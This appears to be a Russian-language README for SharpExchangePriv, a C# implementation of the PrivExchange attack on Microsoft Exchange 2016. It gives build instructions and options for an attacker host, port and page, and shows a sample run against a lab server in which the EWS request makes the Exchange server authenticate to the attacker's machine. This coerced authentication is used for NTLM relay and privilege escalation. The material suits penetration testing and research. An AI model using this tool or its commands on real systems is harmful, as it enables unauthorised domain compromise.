
Реализация PrivExchange на C# от @_dirkjan.
Реализация PrivExchange на C# от @_dirkjan. Благодарность @g0ldenGunSec, так как я опирался на его код.
Тестировалось на Exchange 2016.
SharpExchangePriv собран для .NET 3.5 и совместим с Visual Studio 2017. Просто откройте файл решения и соберите проект.
Я использовал CommandLineParser для разбора аргументов. Это создаст файл CommandLine.dll вместе с исполняемым файлом. Вы можете просто объединить .exe и .dll в один исполняемый файл:
ILMerge.exe /out:C:\SharpExchangePriv.exe C:\Release\SharpExchangePriv.exe C:\Release\CommandLine.dll
--targetHostУстановите IP целевого хоста.
--attackerHostУстановите IP атакующего.
--attackerPortУстановите порт атакующего.
--attackerPageУстановите страницу атакующего.
--sslВключить SSL.
--exchangeVersionУстановите версию Exchange, по умолчанию 2016.
--exchangePortУстановите целевой порт Exchange.
C:\Users\george.brown\Desktop>SharpExchangePriv.exe --attackerHost 192.168.11.132 --targetHost 192.168.11.10
/$$$$$$$ /$$ /$$$$$$$$ /$$
| $$__ $$ |__/ | $$_____/ | $$
| $$ \ $$ /$$$$$$ /$$ /$$ /$$| $$ /$$ /$$ /$$$$$$$| $$$$$$$ /$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$
| $$$$$$$//$$__ $$| $$| $$ /$$/| $$$$$ | $$ /$$/ /$$_____/| $$__ $$ |____ $$| $$__ $$ /$$__ $$ /$$__ $$
| $$____ /| $$ \__ /| $$ \ $$/$$/ | $$__ / \ $$$$/ | $$ | $$ \ $$ /$$$$$$$| $$ \ $$| $$ \ $$| $$$$$$$$
| $$ | $$ | $$ \ $$$/ | $$ >$$ $$ | $$ | $$ | $$ /$$__ $$| $$ | $$| $$ | $$| $$_____ /
| $$ | $$ | $$ \ $/ | $$$$$$$$ /$$/\ $$| $$$$$$$| $$ | $$| $$$$$$$| $$ | $$| $$$$$$$| $$$$$$$
|__/ |__/ |__/ \_/ |________/|__/ \__/ \_______/|__/ |__/ \_______/|__/ |__/ \____ $$ \_______/
/$$ \ $$
| $$$$$$/
\______ /
@den_n1s
Целевой URL: https://192.168.11.10:443/EWS/Exchange.asmx
Запрос отправлен на сервер Exchange: https://192.168.11.10:443/EWS/Exchange.asmx
Получен HTTP-ответ 200, целевой сервер Exchange должен вскоре начать аутентификацию.
Пожалуйста, сообщайте об ошибках на странице проекта на Github или свяжитесь со мной в Twitter @den_n1s